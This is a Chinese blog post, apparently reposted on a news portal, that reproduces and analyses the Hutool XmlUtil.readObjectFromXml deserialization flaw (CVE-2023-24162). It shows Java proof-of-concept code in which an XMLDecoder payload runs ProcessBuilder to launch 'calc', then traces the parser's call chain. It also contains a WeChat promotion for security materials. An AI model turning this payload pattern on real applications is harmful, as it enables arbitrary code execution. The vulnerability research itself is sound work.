最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

当前滚动:hutool XML反序列化漏洞(CVE-2023-24162)

来源:博客园

漏洞简介

Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。


(资料图)

漏洞复现

我们在 maven 仓库中查找 Hutool

https://mvnrepository.com/search?q=Hutool

​​

把依赖复制出来,添加到项目的 pom.xml 文件中

  cn.hutool  hutool-all  5.8.11

添加完成后刷新一下 maven 依赖

我们编写代码

import cn.hutool.core.util.XmlUtil;public class Test {  public static void main(String[] args)  {    XmlUtil.readObjectFromXml("\n" +        "   \n" +        "     \n" +        "       \n" +        "         calc\n" +        "       \n" +        "     \n" +        "     \n" +        "   \n" +        "\n");   }}

​​

在项目目录下创建一个bean.xml​ 文件,将 xml 放在文件中,构造代码也可以触发

import cn.hutool.core.util.XmlUtil;import java.io.File;​public class Test {  public static void main(String[] args)  {    File file = new File("bean.xml");    XmlUtil.readObjectFromXml(file);   }}

​​

漏洞分析

整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

当然这个地方也是可以通过读取文件来实现的

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

​​

cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

java.beans.XMLDecoder#readObject

漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的readObjectFromXml​ 方法 就可以避免这个漏洞的产生。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞修复

在最新版的 hutool-all 没有用黑名单,而是直接移除了readObjectFromXml​ 方法,简单粗暴。

​​

XMLDecoder.readObject

    calc   

object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)

array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)

void 标签,method 的值对应着 method 的参数 (start)

最后相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理

java.lang.ProcessBuilder#start

​​

start:1007, ProcessBuilder (java.lang)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:71, Trampoline (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invoke:275, MethodUtil (sun.reflect.misc)invokeInternal:292, Statement (java.beans)access$000:58, Statement (java.beans)run:185, Statement$2 (java.beans)doPrivileged:-1, AccessController (java.security)invoke:182, Statement (java.beans)getValue:155, Expression (java.beans)getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)getValueObject:123, NewElementHandler (com.sun.beans.decoder)endElement:169, ElementHandler (com.sun.beans.decoder)endElement:318, DocumentHandler (com.sun.beans.decoder)endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)run:375, DocumentHandler$1 (com.sun.beans.decoder)run:372, DocumentHandler$1 (com.sun.beans.decoder)doPrivileged:-1, AccessController (java.security)doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)parse:372, DocumentHandler (com.sun.beans.decoder)run:201, XMLDecoder$1 (java.beans)run:199, XMLDecoder$1 (java.beans)doPrivileged:-1, AccessController (java.security)parsingComplete:199, XMLDecoder (java.beans)readObject:250, XMLDecoder (java.beans)main:20, xmldecode (xml)

比较关键的处理逻辑是在com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​开始对 xml 进行解析

​​

先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确

根据 xml 文件的中的标识来识别开始还是结束<​ 对应着开始,​ 对应着结束

解析时会调用相对应的 Handler 进行处理,Handler 在DocumentHandler.class​ 中被定义,通过节点名获取对应的handler

解析到结束标识时会调用到相对应的 Handler 中的getValueObject​ 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)

com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

这里是一个 do while 的循环 直到匹配到结束标识XMLStreamConstants.END_DOCUMENT

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

​​

com.sun.beans.decoder.DocumentHandler#DocumentHandler

对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement​ 中

com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

com.sun.beans.decoder.DocumentHandler#endElement

调用StringElementHandler​ 对应的endElement​ 方法 ,StringElementHandler​ 没有这个方法,调用其父类ElementHandler​ 中endElement

​​

com.sun.beans.decoder.ElementHandler#endElement

​​​

com.sun.beans.decoder.StringElementHandler#getValueObject

​​

最后返回获取到的值是calc​ 添加到其父类对应的Argument​ 属性

com.sun.beans.decoder.NewElementHandler#addArgument

​​

接着将handler​ 指向上一级的handlerVoidElementHandler

调用VoidElementHandler​ 对应的endElement​ 方法 ,VoidElementHandler​ 没有这个方法,调用其父类ObjectElementHandler​ 的父类NewElementHandler ​​ 的父类ElementHandler​ 中endElement

com.sun.beans.decoder.ElementHandler#endElement

​​

com.sun.beans.decoder.NewElementHandler#getValueObject()​​

com.sun.beans.decoder.ObjectElementHandler#getValueObject

​​

执行完后又有一个

调试返回的结果

com.sun.beans.decoder.DocumentHandler#endElement

​​

com.sun.beans.decoder.ElementHandler#endElement

​​

com.sun.beans.decoder.NewElementHandler#getValueObject()

com.sun.beans.decoder.ObjectElementHandler#getValueObject

com.sun.beans.decoder.NewElementHandler#getContextBean

​​

com.sun.beans.decoder.ElementHandler#getContextBean

com.sun.beans.decoder.NewElementHandler#getValueObject()

com.sun.beans.decoder.ObjectElementHandler#getValueObject

​​

com.sun.beans.decoder.NewElementHandler#getContextBean

com.sun.beans.decoder.ObjectElementHandler#getValueObject

​​

com.sun.beans.decoder.NewElementHandler#getValueObject()

com.sun.beans.decoder.ElementHandler#getContextBean

com.sun.beans.decoder.NewElementHandler#getContextBean

​​

继续执行,最终触发命令执行

com.sun.beans.decoder.ObjectElementHandler#getValueObject

​​

后一部分很像套娃

​​

整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。

更多靶场实验练习、网安学习资料,请点击这里>>

关键词: 反序列化 学习资料 比较简单